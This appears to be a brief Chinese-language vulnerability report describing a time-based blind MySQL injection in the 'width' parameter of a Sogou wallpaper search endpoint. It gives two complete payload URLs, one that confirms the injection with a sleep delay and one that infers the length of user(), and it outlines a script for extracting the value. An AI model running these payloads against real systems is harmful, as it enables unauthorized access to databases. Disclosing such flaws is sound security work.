壁纸搜索的一处MySQL盲注: 下述链接延迟4秒左右,可知参数width可注入: http://so.bizhi.sogou.com/iosquery?dn=iPhone6,2&dr=640*1136&dv=8.0.2&h=aaaaaaa&height=1136&r=0000-0000&v=1.3.4.0005&width=aa%22%2b(select(0)from(select(sleep(4)))v)%2b%22&word=test 下述链接,可猜解当前user()长度为23: http://so.bizhi.sogou.com/iosquery?dn=iPhone6,2&dr=640*1136&dv=8.0.2&h=aaaaaaa&height=1136&r=0000-0000&v=1.3.4.0005&width=aa%22%2b(select(0)from(select(sleep(if(length(user())=23,5,0))))v)%2b%22&word=test 延时5秒后,页面会出现: “The page you are looking for is temporarily unavailable.” 写几行python脚本,根据返回的时间是否大于5秒 且 是否出现特征字符串,猜解user()。
